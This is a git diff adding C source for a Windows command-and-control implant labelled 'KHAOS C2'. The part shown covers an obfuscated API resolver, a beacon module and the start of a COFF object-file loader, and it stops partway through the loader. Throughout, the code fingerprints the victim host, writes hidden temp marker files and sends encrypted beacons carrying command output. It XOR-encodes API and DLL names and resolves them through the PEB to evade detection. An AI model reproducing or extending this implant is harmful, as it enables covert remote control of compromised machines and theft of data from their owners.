+ { EVS_fn_EnumServicesStatusExA, sizeof(EVS_fn_EnumServicesStatusExA), (void **)&_adv.EnumServicesStatusExA },
+ { EVS_fn_OpenSCManagerA, sizeof(EVS_fn_OpenSCManagerA), (void **)&_adv.OpenSCManagerA },
+ { EVS_fn_OpenServiceA, sizeof(EVS_fn_OpenServiceA), (void **)&_adv.OpenServiceA },
+ { EVS_fn_QueryServiceConfigA, sizeof(EVS_fn_QueryServiceConfigA), (void **)&_adv.QueryServiceConfigA },
+ { EVS_fn_RegisterServiceCtrlHandlerA,sizeof(EVS_fn_RegisterServiceCtrlHandlerA),(void **)&_adv.RegisterServiceCtrlHandlerA},
+ { EVS_fn_SetServiceStatus, sizeof(EVS_fn_SetServiceStatus), (void **)&_adv.SetServiceStatus },
+ { EVS_fn_StartServiceCtrlDispatcherA,sizeof(EVS_fn_StartServiceCtrlDispatcherA),(void **)&_adv.StartServiceCtrlDispatcherA},
+ };
+ for (int i = 0; i < 17; i++) {
+ _xdec(t[i].enc, t[i].n, fn);
+ *t[i].p = (void *)GetProcAddress(h, fn);
+ SecureZeroMemory(fn, t[i].n + 1);
+ }
+
+ _adv_ok = 1;
+ return &_adv;
+}
diff --git a/agent/src/beacon.c b/agent/src/beacon.c
new file mode 100644
index 0000000..be3f548
--- /dev/null
+++ b/agent/src/beacon.c
@@ -0,0 +1,620 @@
+#include "beacon.h"
+#include "agent_config.h"
+#include "evs_strings.h"
+#include "peb_walk.h"
+#include "crypto.h"
+#include "evasion.h"
+#include "adv_lazy.h"
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+/* Decode one XOR-obfuscated config string from agent_config.h */
+static void _cfg_decode(const unsigned char *src, size_t len, char *dst)
+{
+ for (size_t i = 0; i < len; i++)
+ dst[i] = (char)(src[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN]);
+ dst[len] = '\0';
+}
+
+/* GetComputerNameA — removes from IAT */
+typedef BOOL (WINAPI *_GCN_t)(LPSTR, LPDWORD);
+static BOOL _gcna(LPSTR buf, LPDWORD sz) {
+ static _GCN_t fn = NULL;
+ if (!fn) {
+ char fs[20], ks[14]; volatile unsigned char xk = EVS_KEY;
+ for (int i = 0; i < (int)sizeof(EVS_fn_GetComputerNameA); i++) fs[i] = (char)(EVS_fn_GetComputerNameA[i] ^ xk);
+ fs[sizeof(EVS_fn_GetComputerNameA)] = '\0';
+ for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
+ ks[sizeof(EVS_dll_kernel32)] = '\0';
+ HMODULE m = _peb_module(ks); SecureZeroMemory(ks, sizeof(ks));
+ if (m) fn = (_GCN_t)(void *)GetProcAddress(m, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ return fn ? fn(buf, sz) : FALSE;
+}
+
+/* machine fingerprinting */
+
+void agent_get_hostname(char *buf, size_t len)
+{
+ DWORD sz = (DWORD)len;
+ if (!_gcna(buf, &sz))
+ strncpy(buf, "unknown", len - 1);
+ buf[len - 1] = '\0';
+}
+
+void agent_get_username(char *buf, size_t len)
+{
+ DWORD sz = (DWORD)len;
+ if (!GetUserNameA(buf, &sz))
+ strncpy(buf, "unknown", len - 1);
+ buf[len - 1] = '\0';
+}
+
+/* GetNativeSystemInfo — removes from IAT */
+typedef void (WINAPI *_GNS_t)(LPSYSTEM_INFO);
+static void _gns(LPSYSTEM_INFO si) {
+ static _GNS_t fn = NULL;
+ if (!fn) {
+ char fs[22], ks[14]; volatile unsigned char xk = EVS_KEY;
+ for (int i = 0; i < (int)sizeof(EVS_fn_GetNativeSystemInfo); i++) fs[i] = (char)(EVS_fn_GetNativeSystemInfo[i] ^ xk);
+ fs[sizeof(EVS_fn_GetNativeSystemInfo)] = '\0';
+ for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
+ ks[sizeof(EVS_dll_kernel32)] = '\0';
+ HMODULE m = _peb_module(ks); SecureZeroMemory(ks, sizeof(ks));
+ if (m) fn = (_GNS_t)(void *)GetProcAddress(m, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ if (fn) fn(si);
+ else GetSystemInfo(si);
+}
+
+void agent_get_os(char *buf, size_t len)
+{
+ OSVERSIONINFOEXW osvi;
+ memset(&osvi, 0, sizeof(osvi));
+ osvi.dwOSVersionInfoSize = sizeof(osvi);
+ typedef NTSTATUS(WINAPI * RtlGetVersion_t)(PRTL_OSVERSIONINFOW);
+ char _dn[10], _fn[15];
+ EVS_D(_dn, EVS_dll_ntdll); EVS_D(_fn, EVS_fn_RtlGetVersion);
+ HMODULE ntdll = _peb_module(_dn); SecureZeroMemory(_dn, sizeof(_dn));
+ RtlGetVersion_t fn = (RtlGetVersion_t)(void *)GetProcAddress(ntdll, _fn);
+ SecureZeroMemory(_fn, sizeof(_fn));
+ if (fn && fn((PRTL_OSVERSIONINFOW)&osvi) == 0)
+ {
+ int is64 = 0;
+ SYSTEM_INFO si;
+ _gns(&si);
+ is64 = (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64);
+ snprintf(buf, len, "Windows %lu.%lu Build %lu %s",
+ osvi.dwMajorVersion, osvi.dwMinorVersion,
+ osvi.dwBuildNumber, is64 ? "x64" : "x86");
+ }
+ else
+ {
+ strncpy(buf, "Windows (unknown)", len - 1);
+ buf[len - 1] = '\0';
+ }
+}
+
+void agent_get_privileges(char *buf, size_t len)
+{
+ HANDLE token;
+ if (!adv_get()->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
+ {
+ strncpy(buf, "user", len - 1);
+ buf[len - 1] = '\0';
+ return;
+ }
+ TOKEN_ELEVATION elev;
+ DWORD ret_len = 0;
+ if (GetTokenInformation(token, TokenElevation, &elev, sizeof(elev), &ret_len) && elev.TokenIsElevated)
+ strncpy(buf, "elevated", len - 1);
+ else
+ strncpy(buf, "user", len - 1);
+ buf[len - 1] = '\0';
+ CloseHandle(token);
+}
+
+/* DJB2 hash for stable 8-hex agent ID */
+
+static uint32_t djb2(const char *s)
+{
+ uint32_t h = 5381;
+ int c;
+ while ((c = (unsigned char)*s++) != 0)
+ h = ((h << 5) + h) ^ c;
+ return h;
+}
+
+void agent_gen_id(char *id_out)
+{
+ char host[256], user[128];
+ agent_get_hostname(host, sizeof(host));
+ agent_get_username(user, sizeof(user));
+
+ BOOL elevated = FALSE;
+ HANDLE tok;
+ if (adv_get()->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tok)) {
+ TOKEN_ELEVATION e; DWORD sz = sizeof(e);
+ if (GetTokenInformation(tok, TokenElevation, &e, sz, &sz))
+ elevated = e.TokenIsElevated;
+ CloseHandle(tok);
+ }
+
+ char combined[400];
+ if (elevated)
+ snprintf(combined, sizeof(combined), "%s|%s|%lu",
+ host, user, (unsigned long)GetCurrentProcessId());
+ else
+ snprintf(combined, sizeof(combined), "%s|%s", host, user);
+
+ uint32_t h = djb2(combined);
+ snprintf(id_out, AGENT_ID_LEN + 1, "%08x", h);
+}
+
+static void _parent_tmp_path(char *out, size_t sz)
+{
+ char tmp[MAX_PATH];
+ GetTempPathA((DWORD)sizeof(tmp), tmp);
+ char host[256], user[128];
+ agent_get_hostname(host, sizeof(host));
+ agent_get_username(user, sizeof(user));
+ char combined[400];
+ snprintf(combined, sizeof(combined), "%s|%s", host, user);
+ uint32_t h = djb2(combined);
+ snprintf(out, sz, "%s~DF%08X.tmp", tmp, h);
+}
+
+void agent_write_parent_id(const char *id)
+{
+ char path[MAX_PATH];
+ _parent_tmp_path(path, sizeof(path));
+ HANDLE f = CreateFileA(path, GENERIC_WRITE, 0, NULL,
+ CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
+ if (f == INVALID_HANDLE_VALUE) return;
+ DWORD wr = 0;
+ WriteFile(f, id, (DWORD)strlen(id), &wr, NULL);
+ CloseHandle(f);
+}
+
+static void _gs_tmp_path(char *out, size_t sz)
+{
+ char tmp[MAX_PATH];
+ GetTempPathA((DWORD)sizeof(tmp), tmp);
+ char host[256], user[128];
+ agent_get_hostname(host, sizeof(host));
+ agent_get_username(user, sizeof(user));
+ char combined[400];
+ snprintf(combined, sizeof(combined), "%s|%s", host, user);
+ uint32_t h = djb2(combined);
+ snprintf(out, sz, "%s~GS%08X.tmp", tmp, h);
+}
+
+void agent_write_gs_flag(void)
+{
+ char path[MAX_PATH];
+ _gs_tmp_path(path, sizeof(path));
+ HANDLE f = CreateFileA(path, GENERIC_WRITE, 0, NULL,
+ CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
+ if (f != INVALID_HANDLE_VALUE) CloseHandle(f);
+}
+
+int agent_read_gs_flag(void)
+{
+ char path[MAX_PATH];
+ _gs_tmp_path(path, sizeof(path));
+ if (GetFileAttributesA(path) == INVALID_FILE_ATTRIBUTES) return 0;
+ DeleteFileA(path);
+ return 1;
+}
+
+int agent_gs_flag_exists(void)
+{
+ char path[MAX_PATH];
+ _gs_tmp_path(path, sizeof(path));
+ return GetFileAttributesA(path) != INVALID_FILE_ATTRIBUTES;
+}
+
+/* agent lifecycle */
+
+int agent_init(agent_ctx_t *ctx)
+{
+ memset(ctx, 0, sizeof(*ctx));
+
+ /* kill date check, exit silently if past configured timestamp */
+#if CFG_KILL_DATE_LEN > 1
+ {
+ char kd_str[24] = {0};
+ _cfg_decode(CFG_KILL_DATE, CFG_KILL_DATE_LEN, kd_str);
+ uint32_t kill_ts = (uint32_t)strtoul(kd_str, NULL, 10);
+ if (kill_ts > 0 && (uint32_t)time(NULL) > kill_ts)
+ ExitProcess(0);
+ }
+#endif
+
+ agent_gen_id(ctx->agent_id);
+
+ ctx->parent_id[0] = '\0';
+ {
+ char path[MAX_PATH];
+ _parent_tmp_path(path, sizeof(path));
+ HANDLE f = CreateFileA(path, GENERIC_READ, 0, NULL,
+ OPEN_EXISTING, FILE_ATTRIBUTE_HIDDEN, NULL);
+ if (f != INVALID_HANDLE_VALUE) {
+ DWORD rd = 0;
+ ReadFile(f, ctx->parent_id, AGENT_ID_LEN, &rd, NULL);
+ ctx->parent_id[AGENT_ID_LEN] = '\0';
+ CloseHandle(f);
+ DeleteFileA(path);
+ }
+ }
+
+ agent_get_hostname(ctx->hostname, sizeof(ctx->hostname));
+ agent_get_username(ctx->username, sizeof(ctx->username));
+ agent_get_os(ctx->os_info, sizeof(ctx->os_info));
+ agent_get_privileges(ctx->privileges, sizeof(ctx->privileges));
+
+ ctx->pending_output = calloc(1, OUTPUT_BUF_SIZE);
+ if (!ctx->pending_output)
+ return -1;
+
+ if (crypto_init(&ctx->crypto) != 0)
+ {
+ free(ctx->pending_output);
+ ctx->pending_output = NULL;
+ return -1;
+ }
+
+ /* generate ECDH keypair for the handshake */
+ if (crypto_gen_keypair(ctx->crypto.agent_pubkey,
+ ctx->crypto.agent_privkey) != 0)
+ {
+ crypto_free(&ctx->crypto);
+ free(ctx->pending_output);
+ ctx->pending_output = NULL;
+ return -1;
+ }
+
+ return 0;
+}
+
+void agent_free(agent_ctx_t *ctx)
+{
+ crypto_free(&ctx->crypto);
+ free(ctx->pending_output);
+ memset(ctx, 0, sizeof(*ctx));
+}
+
+/* output buffer */
+
+void beacon_append_output(agent_ctx_t *ctx, const char *data, size_t len)
+{
+ if (ctx->output_len >= OUTPUT_BUF_SIZE - 1)
+ return;
+ size_t avail = OUTPUT_BUF_SIZE - ctx->output_len - 1;
+ if (len > avail)
+ len = avail;
+ memcpy(ctx->pending_output + ctx->output_len, data, len);
+ ctx->output_len += len;
+ ctx->pending_output[ctx->output_len] = '\0';
+}
+
+void beacon_clear_output(agent_ctx_t *ctx)
+{
+ memset(ctx->pending_output, 0, ctx->output_len + 1);
+ ctx->output_len = 0;
+}
+
+/* JSON helpers */
+
+/* escape a string for JSON, returns malloc'd buffer */
+static char *json_escape(const char *s)
+{
+ size_t in_len = strlen(s);
+ /* worst case: each char → \uXXXX = 6 bytes */
+ char *out = malloc(in_len * 6 + 3);
+ if (!out)
+ return NULL;
+ char *p = out;
+ while (*s)
+ {
+ switch (*s)
+ {
+ case '"':
+ *p++ = '\\';
+ *p++ = '"';
+ break;
+ case '\\':
+ *p++ = '\\';
+ *p++ = '\\';
+ break;
+ case '\n':
+ *p++ = '\\';
+ *p++ = 'n';
+ break;
+ case '\r':
+ *p++ = '\\';
+ *p++ = 'r';
+ break;
+ case '\t':
+ *p++ = '\\';
+ *p++ = 't';
+ break;
+ default:
+ if ((unsigned char)*s < 0x20 || (unsigned char)*s >= 0x80)
+ {
+ /* escape control chars and non-ASCII as \u00xx */
+ int _n = snprintf(p, 7, "\\u%04x", (unsigned char)*s);
+ if (_n > 0)
+ p += _n;
+ }
+ else
+ {
+ *p++ = *s;
+ }
+ }
+ s++;
+ }
+ *p = '\0';
+ return out;
+}
+
+/* packet builders */
+
+/* plaintext handshake packet, base64-encoded for transport */
+char *beacon_build_handshake(agent_ctx_t *ctx)
+{
+ char *pubkey_b64 = base64_encode(ctx->crypto.agent_pubkey, X25519_KEY_SIZE);
+ if (!pubkey_b64)
+ return NULL;
+
+ size_t needed = 128 + strlen(pubkey_b64);
+ char *pkt = malloc(needed);
+ if (!pkt)
+ {
+ free(pubkey_b64);
+ return NULL;
+ }
+
+ snprintf(pkt, needed,
+ "{\"t\":\"h\",\"id\":\"%s\",\"pk\":\"%s\"}",
+ ctx->agent_id, pubkey_b64);
+
+ free(pubkey_b64);
+
+ /* base64-encode for transport */
+ char *b64 = base64_encode((const uint8_t *)pkt, strlen(pkt));
+ free(pkt);
+ return b64;
+}
+
+/* build encrypted beacon: JSON → seal → base64 */
+char *beacon_build(agent_ctx_t *ctx)
+{
+ char *out_esc = json_escape(ctx->pending_output);
+ if (!out_esc)
+ return NULL;
+
+ /* build JSON */
+ size_t json_sz = 512 + strlen(out_esc) + strlen(ctx->hostname) + strlen(ctx->username) + strlen(ctx->os_info) + 32;
+ char *json = malloc(json_sz);
+ if (!json)
+ {
+ free(out_esc);
+ return NULL;
+ }
+
+ snprintf(json, json_sz,
+ "{\"t\":\"s\","
+ "\"id\":\"%s\","
+ "\"hn\":\"%s\","
+ "\"un\":\"%s\","
+ "\"os\":\"%s\","
+ "\"pr\":\"%s\","
+ "\"lt\":\"%s\","
+ "\"pid\":\"%s\","
+ "\"po\":\"%s\"}",
+ ctx->agent_id,
+ ctx->hostname,
+ ctx->username,
+ ctx->os_info,
+ ctx->privileges,
+ ctx->last_task_id,
+ ctx->parent_id,
+ out_esc);
+ free(out_esc);
+
+ /* encrypt */
+ size_t sealed_len = 0;
+ uint8_t *sealed = crypto_seal(&ctx->crypto,
+ (const uint8_t *)json, strlen(json),
+ &sealed_len);
+ free(json);
+ if (!sealed)
+ return NULL;
+
+ /* base64 for transport */
+ char *b64 = base64_encode(sealed, sealed_len);
+ free(sealed);
+ return b64;
+}
+
+/* response parser */
+
+/* extract string value from flat JSON */
+static int json_get_str(const char *json, const char *key,
+ char *out, size_t out_sz)
+{
+ char search[128];
+ snprintf(search, sizeof(search), "\"%s\":", key);
+ const char *p = strstr(json, search);
+ if (!p)
+ return -1;
+ p += strlen(search);
+ while (*p == ' ')
+ p++;
+ if (*p != '"')
+ return -1;
+ p++;
+ size_t i = 0;
+ while (*p && *p != '"' && i < out_sz - 1)
+ {
+ if (*p == '\\' && *(p + 1))
+ {
+ p++;
+ }
+ out[i++] = *p++;
+ }
+ out[i] = '\0';
+ return 0;
+}
+
+/* same as json_get_str but heap-allocates output, caller frees */
+static int json_get_str_alloc(const char *json, const char *key, char **out)
+{
+ char search[128];
+ snprintf(search, sizeof(search), "\"%s\":", key);
+ const char *p = strstr(json, search);
+ if (!p)
+ return -1;
+ p += strlen(search);
+ while (*p == ' ')
+ p++;
+ if (*p != '"')
+ return -1;
+ p++;
+ /* measure length */
+ const char *start = p;
+ size_t len = 0;
+ while (*p && *p != '"')
+ {
+ if (*p == '\\' && *(p + 1))
+ p++;
+ p++;
+ len++;
+ }
+ *out = (char *)malloc(len + 1);
+ if (!*out)
+ return -1;
+ /* copy */
+ p = start;
+ size_t i = 0;
+ while (*p && *p != '"')
+ {
+ if (*p == '\\' && *(p + 1))
+ p++;
+ (*out)[i++] = *p++;
+ }
+ (*out)[i] = '\0';
+ return 0;
+}
+
+/* parse inbound base64 packet, handles handshake and encrypted task */
+int beacon_parse_response(agent_ctx_t *ctx, const char *raw_b64,
+ char *cmd_out, size_t cmd_sz,
+ char *args_out, size_t args_sz,
+ char *task_id_out, size_t task_id_sz,
+ char **data_out)
+{
+ if (!raw_b64 || raw_b64[0] == '\0')
+ return -1;
+
+ /* base64-decode the packet */
+ size_t decoded_len = 0;
+ uint8_t *decoded = base64_decode(raw_b64, &decoded_len);
+ if (!decoded)
+ return -1;
+
+ char *json = NULL;
+
+ if (!ctx->handshake_done)
+ {
+ /* plaintext handshake response */
+ json = (char *)decoded;
+ char type_buf[32] = {0};
+ json_get_str(json, "t", type_buf, sizeof(type_buf));
+
+ if (strcmp(type_buf, "hr") == 0)
+ {
+ char spub_b64[64] = {0};
+ if (json_get_str(json, "spk", spub_b64, sizeof(spub_b64)) == 0)
+ {
+ size_t spub_len = 0;
+ uint8_t *spub = base64_decode(spub_b64, &spub_len);
+ if (spub && spub_len == X25519_KEY_SIZE)
+ {
+ if (crypto_do_handshake(&ctx->crypto, spub) == 0)
+ ctx->handshake_done = 1;
+ }
+ free(spub);
+ }
+ }
+ free(decoded);
+ return ctx->handshake_done ? 0 : -1;
+ }
+
+ /* encrypted task packet */
+ size_t pt_len = 0;
+ uint8_t *pt = crypto_open(&ctx->crypto, decoded, decoded_len, &pt_len);
+ free(decoded);
+ if (!pt)
+ return -1;
+
+ json = (char *)pt;
+
+ char type_buf[32] = {0};
+ json_get_str(json, "t", type_buf, sizeof(type_buf));
+
+ int ret = -1;
+ if (strcmp(type_buf, "t") == 0)
+ {
+ json_get_str(json, "tid", task_id_out, task_id_sz);
+ json_get_str(json, "c", cmd_out, cmd_sz);
+ json_get_str(json, "a", args_out, args_sz);
+ if (data_out)
+ json_get_str_alloc(json, "d", data_out);
+ ret = 0;
+ }
+ else if (strcmp(type_buf, "n") == 0)
+ {
+ cmd_out[0] = '\0';
+ ret = 0;
+ }
+
+ free(pt);
+ return ret;
+}
+
+/* beacon sleep with jitter and work-hours gating */
+
+void beacon_sleep(void)
+{
+#if JITTER_PCT == 0
+ beacon_sleep_obf(BEACON_INTERVAL);
+#else
+ SYSTEMTIME st;
+ GetLocalTime(&st);
+
+ BOOL off_hours = (st.wHour < 8 || st.wHour >= 20);
+ BOOL weekend = (st.wDayOfWeek == 0 || st.wDayOfWeek == 6);
+
+ if (off_hours || weekend)
+ {
+ beacon_sleep_obf(BEACON_INTERVAL * 2);
+ return;
+ }
+
+ /* BCryptGenRandom: cryptographic distribution, avoids predictable rand() */
+ uint32_t rnd = 0;
+ BCryptGenRandom(NULL, (BYTE *)&rnd, sizeof(rnd), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
+ double jitter_range = BEACON_INTERVAL * (JITTER_PCT / 100.0);
+ double offset = jitter_range * (((double)(rnd & 0xFFFF) / 0xFFFF) * 2.0 - 1.0);
+ beacon_sleep_obf((DWORD)(BEACON_INTERVAL + (long)offset));
+#endif
+}
diff --git a/agent/src/bof/bof.c b/agent/src/bof/bof.c
new file mode 100644
index 0000000..b7af705
--- /dev/null
+++ b/agent/src/bof/bof.c
@@ -0,0 +1,665 @@
+/*
+ * Copyright (c) 2026
+ * KHAOS C2 - khaos.khaotic.fr
+ *
+ */
+
+#include "bof.h"
+#include "commands.h"
+#include "crypto.h"
+#include "adv_lazy.h"
+#include "evs_strings.h"
+#include "peb_walk.h"
+#include
+#include
+#include
+#include
+#include
+#include
+
+#ifndef NTSTATUS
+typedef LONG NTSTATUS;
+#endif
+
+/* NtProtectVirtualMemory wrapper */
+typedef NTSTATUS(NTAPI *_bNtPVM_t)(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
+static BOOL _vp(LPVOID addr, SIZE_T sz, DWORD prot, DWORD *old)
+{
+ static _bNtPVM_t fn = NULL;
+ if (!fn)
+ {
+ char fs[24], ns[12];
+ volatile unsigned char k = EVS_KEY;
+ for (int i = 0; i < (int)sizeof(EVS_fn_NtProtectVirtualMemory); i++)
+ fs[i] = (char)(EVS_fn_NtProtectVirtualMemory[i] ^ k);
+ fs[sizeof(EVS_fn_NtProtectVirtualMemory)] = '\0';
+ for (int i = 0; i < (int)sizeof(EVS_dll_ntdll); i++)
+ ns[i] = (char)(EVS_dll_ntdll[i] ^ k);
+ ns[sizeof(EVS_dll_ntdll)] = '\0';
+ HMODULE m = _peb_module(ns);
+ SecureZeroMemory(ns, sizeof(ns));
+ if (m)
+ fn = (_bNtPVM_t)(void *)GetProcAddress(m, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ if (!fn)
+ return FALSE;
+ PVOID base = addr;
+ SIZE_T rsz = sz;
+ ULONG _old = 0;
+ NTSTATUS st = fn((HANDLE)(LONG_PTR)-1, &base, &rsz, (ULONG)prot, &_old);
+ if (old)
+ *old = (DWORD)_old;
+ return st == 0;
+}
+
+/* COFF structures */
+#pragma pack(push, 1)
+typedef struct
+{
+ WORD Machine;
+ WORD NumberOfSections;
+ DWORD TimeDateStamp;
+ DWORD PointerToSymbolTable;
+ DWORD NumberOfSymbols;
+ WORD SizeOfOptionalHeader;
+ WORD Characteristics;
+} coff_hdr_t;
+
+typedef struct
+{
+ char Name[8];
+ DWORD VirtualSize;
+ DWORD VirtualAddress;
+ DWORD SizeOfRawData;
+ DWORD PointerToRawData;
+ DWORD PointerToRelocations;
+ DWORD PointerToLineNumbers;
+ WORD NumberOfRelocations;
+ WORD NumberOfLineNumbers;
+ DWORD Characteristics;
+} coff_sec_t;
+
+typedef struct
+{
+ DWORD VirtualAddress;
+ DWORD SymbolTableIndex;
+ WORD Type;
+} coff_reloc_t;
+
+typedef struct
+{
+ union
+ {
+ char Short[8];
+ struct
+ {
+ DWORD Zeros;
+ DWORD Offset;
+ } Long;
+ } Name;
+ DWORD Value;
+ SHORT SectionNumber;
+ WORD Type;
+ BYTE StorageClass;
+ BYTE NumberOfAuxSymbols;
+} coff_sym_t;
+#pragma pack(pop)
+
+#define IMAGE_FILE_MACHINE_AMD64 0x8664
+#define IMAGE_SCN_MEM_EXECUTE 0x20000000
+#define IMAGE_SCN_CNT_UNINIT_DATA 0x00000080
+#define IMAGE_REL_AMD64_ADDR64 0x0001
+#define IMAGE_REL_AMD64_ADDR32 0x0002
+#define IMAGE_REL_AMD64_ADDR32NB 0x0003
+#define IMAGE_REL_AMD64_REL32 0x0004
+#define IMAGE_REL_AMD64_REL32_1 0x0005
+#define IMAGE_REL_AMD64_REL32_2 0x0006
+#define IMAGE_REL_AMD64_REL32_3 0x0007
+#define IMAGE_REL_AMD64_REL32_4 0x0008
+#define IMAGE_REL_AMD64_REL32_5 0x0009
+
+typedef struct
+{
+ char *orig;
+ char *buf;
+ int len;
+ int sz;
+} datap;
+
+static char *g_out = NULL;
+static size_t g_out_sz = 0;
+static size_t g_out_off = 0;
+
+static void _append(const char *s, size_t n)
+{
+ if (!g_out)
+ return;
+ size_t av = g_out_sz - g_out_off - 1;
+ if (n > av)
+ n = av;
+ memcpy(g_out + g_out_off, s, n);
+ g_out_off += n;
+ g_out[g_out_off] = '\0';
+}
+
+static void __cdecl _bp_printf(int t, const char *fmt, ...)
+{
+ (void)t;
+ char tmp[8192];
+ va_list va;
+ va_start(va, fmt);
+ int n = vsnprintf(tmp, sizeof(tmp) - 1, fmt, va);
+ va_end(va);
+ if (n > 0)
+ _append(tmp, (size_t)n);
+}
+
+static void __cdecl _bp_output(int t, const char *data, int len)
+{
+ (void)t;
+ if (len > 0)
+ _append(data, (size_t)len);
+}
+
+static int __cdecl _bp_is_admin(void)
+{
+ HANDLE tok;
+ TOKEN_ELEVATION e = {0};
+ DWORD rl;
+ if (!adv_get()->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tok))
+ return 0;
+ GetTokenInformation(tok, TokenElevation, &e, sizeof(e), &rl);
+ CloseHandle(tok);
+ return (int)e.TokenIsElevated;
+}
+
+static void __cdecl _bp_data_parse(datap *p, char *buf, int sz)
+{
+ if (p)
+ {
+ p->orig = buf;
+ p->buf = buf;
+ p->len = sz;
+ p->sz = sz;
+ }
+}
+
+static char *__cdecl _bp_data_extract(datap *p, int *out_len)
+{
+ if (!p || p->len < 4)
+ return NULL;
+ int n = *(int *)p->buf;
+ p->buf += 4;
+ p->len -= 4;
+ if (n > p->len)
+ n = p->len;
+ char *r = p->buf;
+ p->buf += n;
+ p->len -= n;
+ if (out_len)
+ *out_len = n;
+ return r;
+}
+
+static int __cdecl _bp_data_int(datap *p)
+{
+ if (!p || p->len < 4)
+ return 0;
+ int v = *(int *)p->buf;
+ p->buf += 4;
+ p->len -= 4;
+ return v;
+}
+static short __cdecl _bp_data_short(datap *p)
+{
+ if (!p || p->len < 2)
+ return 0;
+ short v = *(short *)p->buf;
+ p->buf += 2;
+ p->len -= 2;
+ return v;
+}
+static int __cdecl _bp_data_len(datap *p) { return p ? p->len : 0; }
+
+typedef struct
+{
+ const unsigned char *enc;
+ size_t n;
+ void *ptr;
+} api_entry_t;
+
+static const api_entry_t k_api[] = {
+ {EVS_str_BeaconPrintf, sizeof(EVS_str_BeaconPrintf), (void *)_bp_printf},
+ {EVS_str_BeaconOutput, sizeof(EVS_str_BeaconOutput), (void *)_bp_output},
+ {EVS_str_BeaconIsAdmin, sizeof(EVS_str_BeaconIsAdmin), (void *)_bp_is_admin},
+ {EVS_str_BeaconDataParse, sizeof(EVS_str_BeaconDataParse), (void *)_bp_data_parse},
+ {EVS_str_BeaconDataExtract, sizeof(EVS_str_BeaconDataExtract), (void *)_bp_data_extract},
+ {EVS_str_BeaconDataInt, sizeof(EVS_str_BeaconDataInt), (void *)_bp_data_int},
+ {EVS_str_BeaconDataShort, sizeof(EVS_str_BeaconDataShort), (void *)_bp_data_short},
+ {EVS_str_BeaconDataLength, sizeof(EVS_str_BeaconDataLength), (void *)_bp_data_len},
+ {NULL, 0, NULL}};
+
+static void _sym_name(const coff_sym_t *sym, const char *strtab, char *out, size_t outsz)
+{
+ if (sym->Name.Long.Zeros == 0)
+ strncpy(out, strtab + sym->Name.Long.Offset, outsz - 1);
+ else
+ {
+ size_t n = strnlen(sym->Name.Short, 8);
+ if (n >= outsz)
+ n = outsz - 1;
+ memcpy(out, sym->Name.Short, n);
+ out[n] = '\0';
+ }
+}
+
+static void *_resolve_win32(const char *fn, const char *dll_hint)
+{
+ for (int i = 0; k_api[i].enc; i++)
+ {
+ char name[20];
+ volatile unsigned char _k = EVS_KEY;
+ for (size_t j = 0; j < k_api[i].n; j++)
+ name[j] = (char)(k_api[i].enc[j] ^ _k);
+ name[k_api[i].n] = '\0';
+ int match = (strcmp(fn, name) == 0);
+ SecureZeroMemory(name, sizeof(name));
+ if (match)
+ return k_api[i].ptr;
+ }
+
+ HMODULE hm = NULL;
+ if (dll_hint && dll_hint[0])
+ {
+ hm = _peb_module(dll_hint);
+ if (!hm)
+ hm = LoadLibraryA(dll_hint);
+ }
+ else
+ {
+ static const char *tries[] = {
+ "kernel32.dll", "ntdll.dll", "advapi32.dll",
+ "user32.dll", "ws2_32.dll", "ole32.dll", "shell32.dll", NULL};
+ for (int i = 0; tries[i]; i++)
+ {
+ hm = _peb_module(tries[i]);
+ if (hm && GetProcAddress(hm, fn))
+ break;
+ hm = NULL;
+ }
+ }
+ return hm ? (void *)GetProcAddress(hm, fn) : NULL;
+}
+
+static int _parse_sym(const char *name, char *dll, size_t dll_sz,
+ char *fn, size_t fn_sz)
+{
+ int is_imp = (strncmp(name, "__imp_", 6) == 0);
+ const char *p = is_imp ? name + 6 : name;
+
+ /* check for Beacon* prefix */
+ {
+ volatile unsigned char _k = EVS_KEY;
+ if (strlen(p) >= sizeof(EVS_str_Beacon) &&
+ (unsigned char)p[0] == (unsigned char)(EVS_str_Beacon[0] ^ _k) &&
+ (unsigned char)p[1] == (unsigned char)(EVS_str_Beacon[1] ^ _k) &&
+ (unsigned char)p[2] == (unsigned char)(EVS_str_Beacon[2] ^ _k) &&
+ (unsigned char)p[3] == (unsigned char)(EVS_str_Beacon[3] ^ _k) &&
+ (unsigned char)p[4] == (unsigned char)(EVS_str_Beacon[4] ^ _k) &&
+ (unsigned char)p[5] == (unsigned char)(EVS_str_Beacon[5] ^ _k))
+ {
+ strncpy(fn, p, fn_sz - 1);
+ dll[0] = '\0';
+ return is_imp;
+ }
+ }
+
+ const char *d = strchr(p, '$');
+ if (d)
+ {
+ size_t dl = (size_t)(d - p);
+ if (dl >= dll_sz - 5)
+ dl = dll_sz - 6;
+ memcpy(dll, p, dl);
+ dll[dl] = '\0';
+ /* lowercase and append .dll if missing */
+ for (size_t i = 0; i < dl; i++)
+ dll[i] = (char)tolower((unsigned char)dll[i]);
+ if (!strstr(dll, "."))
+ strncat(dll, ".dll", dll_sz - strlen(dll) - 1);
+ strncpy(fn, d + 1, fn_sz - 1);
+ }
+ else
+ {
+ dll[0] = '\0';
+ strncpy(fn, p, fn_sz - 1);
+ }
+ return is_imp;
+}
+
+#define THUNK_PTR_SZ 8 /* function pointer */
+#define THUNK_JMP_SZ 14 /* FF 25 00 00 00 00 + 8-byte addr */
+
+typedef struct
+{
+ BYTE *ptr; /* RW: 8-byte fn pointer */
+ BYTE *jmp; /* RX: 14-byte jmp trampoline */
+} thunk_pair_t;
+
+static BYTE *g_thunk_block = NULL;
+static DWORD g_thunk_count = 0;
+
